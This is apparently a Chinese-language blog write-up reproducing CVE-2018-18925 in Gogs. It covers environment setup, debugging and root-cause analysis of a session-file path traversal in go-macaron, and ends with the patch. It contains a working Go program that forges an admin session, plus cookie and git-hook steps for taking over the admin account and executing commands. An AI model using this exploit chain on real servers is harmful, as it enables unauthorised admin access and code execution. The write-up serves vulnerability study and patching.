Gogs 远程命令执行漏洞

1@ 前言

ll 说学语言是死劲儿,不好用。我说我这个有用,他说我这个没用,漏洞复现是化劲儿。所以接下来我要开始着手 Go 安全相关的漏洞复现了。第一个选取的复现对象是 Gogs 远程命令执行漏洞,CVE-2018-18925

首先简单介绍下 Gogs。Gogs(又名Go Git Service),是 Gogs 团队开发的一款基于 Go 语言的自助 Git 托管服务,它支持创建,迁移公开/私有仓库,添加,删除仓库协作者,而 Gitea 是 Gogs 的一个分支,所以也随之收到了漏洞影响。

2@ 环境搭建

由于第一次搭建 Go 相关的服务,在这上面花了一定的时间。所以我会详细的说下环境搭建时碰到的问题和解决办法。

漏洞复现环境:

os : win10 x64

go version go1.14 windows/amd64

gogs v0.11.66

2.1 源码下载

由于需要动态调试,所以需要通过源码编译的方式来下载 gogs。

1
2
3
4
5
1、首先将源码扒下来:
git clone https://github.com/gogs/gogs.git gogs

2、切换到指定漏洞分支代码,切到自定义分支
git checkout -b vul v0.11.66

编译此服务需要 gcc 环境,这里建议使用 tdm-gcc 因为它集成了最新稳定版的 gcc 工具集,防止你编译出错再进行补丁或者更新。下载地址传送门

2.2 源码编译

源码编译肯定是坑最多的时候,在正式编译之前呢,我们需要了解一些 Go 包管理的知识,也好理解后边的问题。

go mod 初识

go.mod 是 Golang1.11 版本之后新引入的官方包管理工具,用于解决之前没有地方记录依赖包具体版本的问题,方便依赖包的管理。实际上就是一个 Modules,官方定义为:

Modules 是相关 Go 包 的集合,是源代码交换和版本控制的单元。

Modules 和 传统 GOPATH 不同,不需要包含 src,bin 这样的目录,一个源代码目录甚至是空目录都可以作为 Modules,只要其中包含 go.mod。

那么如何使用 go.mod ? 需要将 golang 的版本升级到 1.11 以上,随后设置 GO111MODULE 配置项:

GO111MODULE有三个值:off, onauto(默认值)

  • GO111MODULE=off,go 命令行将不会支持 module 功能,寻找依赖包的方式将会沿用旧版本那种通过vendor 目录或者 GOPATH 模式来查找。go env -w GO111MODULE=off

  • GO111MODULE=on,go 命令行会使用 modules,而一点也不会去 GOPATH 目录下查找。

  • GO111MODULE=auto

    • 默认值,go命令行将会根据当前目录来决定是否启用 module 功能。这种情况下可以分为两种情形:

      • 当前目录在 GOPATH/src 之外且该目录包含 go.mod 文件

      • 当前文件在包含 go.mod 文件的目录下面。

另外,使用 Go 的包管理方式,依赖的第三方包被下载到了 $GOPATH/pkg/mod 下面。

编译报错

按照上面步骤继续编译,首先初始化 go.mod

1
2
3
4
5
6
// 这里涉及到国内用户下载慢的问题,设置代理即可,注意是 http proxy,不是 https:
set HTTP_PROXY=http://127.0.0.1:1080

go init // 初始化 go.mod 文件

// go mod vendor 【这步可以不执行,详见下面那段话】 // 从 mod 中拷贝到项目的 vendor 目录下面,同步一下依赖版本,这样 IDE 就可以识别了

上面的操作步骤中,牵扯到新旧包管理模式的转换,当 Go 使用 mod 模式的包管理时,如果没有 go.mod 文件, 编译时如果检测到 vendor 目录,执行 go mod init会将 vendor.json 里面的依赖以相关格式复制到新生成的 go.mod 文件当中。这时还并未下载第三方依赖,当真正 build 或者 run 的时候,才会从相关资源处下载第三方依赖。go mod vendor 这一步可以省略,如果你还是想要用 vendor 类的包管理,那么执行这个命令可以通过 go.mod 文件下载依赖并且覆盖到 vendor 目录。

1、编译报错 1,包名大小写冲突:

1
vendor\gopkg.in\macaron.v1\context.go:34:2: case-insensitive import collision: "github.com/unknwon/com" and "github.com/Unknwon/com"

原因是因为 Go 语言导包不区分大小写,但是必须一致,否则不能通过编译,统一将对应代码改为 Unknown,改目录亲测不好使。

2、编译报错2,依赖包出现问题:

1
2
# github.com/gogs/gogs/routes/api/v1/misc
routes\api\v1\misc\markdown.go:26:13: form.Mode undefined (type gogs.MarkdownOption has no field or method Mode)

这个问题也比较有意思,主要原因就是使用了 go mod 这种新的包管理方式时,会远程下载包,而在最新版的 go-gogs-client 这个项目中,10 个月之前删除了 Mode 字段,而在旧版代码中 vendor 自带目录代码中还是有 Mode 字段的,一旦使用了 go mod 包管理就会覆盖此文件,使用最新的代码,也就是没有了 Mode 字段,需要自己手动添加。代码位置在 : github.com/gogs/go-gogs-client/miscellaneous.go, 添加 Mode 字段,最终代码如下:

1
2
3
4
5
6
7
8
9
10
11
// Copyright 2015 The Gogs Authors. All rights reserved.
// Use of this source code is governed by a MIT-style
// license that can be found in the LICENSE file.

package gogs

type MarkdownOption struct {
Text string
Mode string
Context string
}

但是我编译最新版本的 gogs 时未报此错误,所以我们看下最新版本如何处理包的依赖:

最新版的 gogs 没有 vendor 目录 直接存在一个生成好的 go.mod 文件 (推测较旧版本的时间段 mod 管理发展的还不是很成熟),查看 go-gogs-client 包的版本:

最新版gogs依赖版本

可以看到正是在这个版本移除了 Mode 字段,新版本应该也对对应代码进行了修改,具体就不深究了。

应该还有 govendor 对应的解决办法,在此就不深究了,有需要的同学可以自行探索。

更新 : 2020.12.13

最近在复现 gitea 相关漏洞时发现,当新旧包管理出现冲突时,可以先使用 go mod init 生成 go.mod 文件,然后使用 go build -mod=vendor -o 文件名.exe 沿用 vendor 目录下的依赖,可以避免新版本代码覆盖旧版本的一些问题。

2.3 web 服务搭建

编译完成后,使用 gogs.exe web 开启安装 web 页面,访问 127.0.0.1:3000 进入即可。在正式安装之前,我们需要初始化一下数据库。

1
mysql -u root -p < scripts/mysql.sql

然后需要建立一个 mysql 数据库用户 gogs , 将刚刚创建的数据库的权限全部赋予给它:

1
2
3
4
> create user 'gogs'@'localhost' identified by '密码';
> grant all privileges on gogs.* to 'gogs'@'localhost';
> flush privileges;
> exit;

搭建完成

搭建完成,开始漏洞复现。

3@ 使用 Goland 进行调试

调试之前需要注意,需要将 git 放到环境变量

将项目导入到 Goland 之后,新建一个 Go Build 项目:

Goland 调试新建 build

跑起来之后在对应服务对应的代码上下断点,即可开始调试了:

断点拦截成功

4@ 漏洞分析

4.1 漏洞成因

Gogs 使用 go-macaron 作为 Web 框架,而 go-macaron 中的 session 插件并没有对 sessionid 进行安全检查,导致攻击者可以使用任意文件作为 session,登录其他任意账号。此漏洞存在于 gogs <= 0.11.66,以及 gitea <= 1.5.3 的版本当中。第一个注册的用户 id 为 1,默认为管理员。我们可以使用此漏洞越权到管理员,结合服务自带的 githooks 直接 getshell。

4.2 漏洞复现

下面我们进行漏洞复现。为了方便演示,我们除了管理员用户之外再新建一个用户 test

新建 gogs 用户

用此普通用户,并创建任意一个 repo :

新建版本发布

我们使用 Go 特有的序列化方式,我们可以编写一段 Go 语言程序,来生成一段 Gob 编码的 session (来自 p 牛)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package main

import (
"bytes"
"encoding/gob"
"encoding/hex"
"fmt"
"io/ioutil"
)

func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
for _, v := range obj {
gob.Register(v)
}
buf := bytes.NewBuffer(nil)
err := gob.NewEncoder(buf).Encode(obj)
return buf.Bytes(), err
}

func main() {
var uid int64 = 1
obj := map[interface{}]interface{}{"_old_uid": "1", "uid": uid, "uname": "rt"}
data, err := EncodeGob(obj)
if err != nil {
fmt.Println(err)
}
err = ioutil.WriteFile("data1", data, 0644)`//`创建了 data 文件, 文件权限 644
if err != nil {
fmt.Println(err)
}
edata := hex.EncodeToString(data)
fmt.Println(edata)
}

将生成的此文件发布后,会将该文件存储在 data/attachments/文件名[0]/文件名[1]/文件名 路径下,我们直接在浏览器插件上把 i_like_gogitscookie 项换成上面格式的值,然后刷新页面,成功升级为管理员用户。

提权成功

然后伪造管理员账户,创建仓库,在仓库设置 => 管理 git 钩子 => post-recieve 中编辑命令,新建文件后会触发此钩子的命令。

执行钩子命令

4.3 漏洞调试

由于 Go 在 v1.13 版本之后就默认开启了 go mod 包管理模式,所以,代码中牵扯到的一些第三方包的引入需要注意其真实位置是在 GOPATH/pkg/mod 目录下。

本次调试过程观察周期从 gogs 系统初始化阶段到最后的漏洞触发点。

首先,从 gogs 的主文件 gogs.go 看起,主要是初始化一些系统变量,最后运行 app.Run() 方法,进入之后的代码逻辑。

main 函数逻辑

跟进 Run 方法,首先执行这个 app 实例的 Setup() 方法,主要目的是为了确保所有的数据结构初始化以准备好参与之后代码的运行,这里提几个需要注意的点:

1、代码中创建了一个目录(categories),用来映射命令名字 name 和本身数据结构作为一个快速查询的目录,方便后面用名字查找对应的命令。

2、在 Go 语言中,对自定义数据结构进行排序,需要对此数据结构实现 sort.Interface 的三个方法:

1
2
3
Len()	// 获取数据集合元素个数;
Less(i,j int) // 如果如果 i 索引的数据小于 j 索引的数据,返回 true,且不会调用下面的 Swap(),即数据升序排序。
Swap(i, j int) // 交换 i 和 j 索引的两个元素的位置

sort 这个标准库内部实现了四种基本排序算法,插入排序,归并排序,堆排序和快速排序,只要你对待排序的结构实现了上面接口的方法,那么 sort 包就会根据实际数据自动高效选择排序算法,这个过程对编程者是透明的。

app.setup 方法

跳出继续跟进 Run() 方法,之后就是一些解析 flag (命令行参数)的操作,结合 Go 内置的 flag 库进行操作,然后使用 cli 包下的函数 NewContext() 进行运行期上下文的创建,当执行 app 或者一些命令的时候,需要使用到运行期的一些数据。

创建上下文环境

继续跟进到 app.go 文件的第 252 行,开始进行运行上下文参数的获取以及命令的执行。

web 命令的执行

继续跟进到 259行的 Run() 方法里,将刚刚初始化过的 app 上下文参数,传递到具体的 Command 执行过程中。最后调用具体 Command 的具体 Action,也就是每个 Command 的 go 文件对应的具体函数。调试过程中可以发现,在 web 服务里面,执行的是 runWeb() 函数。

最终 web 服务运行函数 runWeb

继续跟进到 runWeb 方法内,由于 gogs 这个系统使用的是 go-macaron 的开源 web 框架,所以相关路由风格也是这个组件的实现风格。通过 context.Toggle() 这个函数,结合不同的传入参数配置,返回不同的鉴权函数,用以绑定到不同的访问路由上面。在创建新的 macaron 对象时,使用了 Use() 这个中间件机制。什么是 中间件机制?

中间件处理器是工作与请求和路由之间的。本质上来说和 Macaron 其他的处理器没有分别。中间件处理器可以非常好处理一些功能,包括日志记录、授权认证、会话(sessions)处理、错误反馈等其他任何需要在发生在 HTTP 请求之前或者之后的操作。 —— 来自 macaron 官方文档

所以说一些鉴权的工作可以放在路由对应处理器正式生效之前。这里是放在了 newMacaron 里面。因为不同的中间件之间还有依赖关系,官方给出了比较好的载入顺序:

1
2
3
4
5
6
7
8
9
10
11
macaron.Logger()
macaron.Recovery()
gzip.Gziper()
macaron.Static()
macaron.Renderer()/pongo2.Pongoer()
i18n.I18n()
cache.Cacher()
captcha.Captchaer()
session.Sessioner()
csrf.Csrfer()
toolbox.Toolboxer()

在这个函数中,就有 session 相关操作,代码定位到 web.go 的 147 行,跟进到 session.Sessioner() 函数当中。这个函数根据传入的配置项初始化一个 option,然后返回一个函数供中间件使用,在每次请求正式发生之前,都会调用这个 session 鉴权函数。

session 鉴权函数

继续跟进到 Start() 函数里面。自此,代码进入到了漏洞触发阶段。首先读取 web 浏览器端存储的 cookie,可以看到,标识身份与 session 有关的 cookie 名是 i_like_gogits,这也是为什么之前我们复现时使用这个 cookie 名的原因,而这个配置项的具体位置在 conf/app.ini 文件里面,可以自定义身份 cookie 名。

读取 cookie

接着跟进到 m.provider.Exist() 函数中,最终通过 cookie 的值,结合 filepath() 函数拼接具体存储 seesion 文件路径,通过函数 Isfile() 判断此 session 文件是否存在从而达到基本的 session 鉴权目的:

session 鉴权

session 文件路径确定

可以看到,文件路径只是简单的拼接了 p.rootPath, sid[0], sid[1],sid 四个字符串,其中 sid 是用户直接可控的,而 rootPath 默认是 data/session,代码中并未对跨目录符号进行筛查,直接进行拼接。那我们可以通过生成类管理员的 session 文件,结合上传点确定上传路径,修改 cookie 即可越权以管理员身份登录了。所以说这个漏洞可以扩展到任何一个使用了指定版本 go-macaron 框架,且存在文件上传点的应用当中。越权之后可以结合用户钩子的正常功能点来 getshell。

5@ 修复方案

Gogs 可至 Github 下载编译 develop 分支,在此分支中此漏洞已经修复。

Gitea 更新至 1.5.4 版本即可。

gogs 官方补丁中,在 Read() 操作中判定参数 sid 中,是否包括了 ./ 字符,存在返回格式错误。

gogs 修复方案

6@ 总结

首先梳理下整个系统的启动与鉴权时机:

然后梳理下整个漏洞利用流程:

1、通过 gob 脚本生成管理员 session 文件。

2、通过 release 发布文件,得到文件路径。

3、通过文件路径构造 cookie,指定 i_like_gogits 字段,格式为 ../attachments/文件名[1]/文件名[2]/文件名。

4、成功登陆管理员,利用 Git 钩子执行代码。

挖洞小 tips :

如果系统以文件形式存储 session 身份文件,可以通过阅读目标代码观察读取文件时是否存在跨目录读的情况,这样我们结合上传点和 session 文件格式可以实现简单的越权。

Reference:

环境搭建:

https://gogs.io/docs/installation/install_from_source.html

https://blog.csdn.net/weixin_39003229/article/details/97638573

https://goproxy.io/zh/

https://studygolang.com/articles/18405

https://blog.mynook.info/post/host-your-own-git-server-using-gogs/

https://studygolang.com/articles/22075?fr=sidebar

https://github.com/gogs/gogs/issues/3911

漏洞参考:

知弦学长友情 pdf

https://nvd.nist.gov/vuln/detail/CVE-2018-18925

https://cert.360.cn/warning/detail?id=a38d5b163778e50b83ccc7953074edfa

https://github.com/vulhub/vulhub/tree/master/gogs/CVE-2018-18925

https://www.anquanke.com/post/id/163575

https://xz.aliyun.com/t/3168

查看评论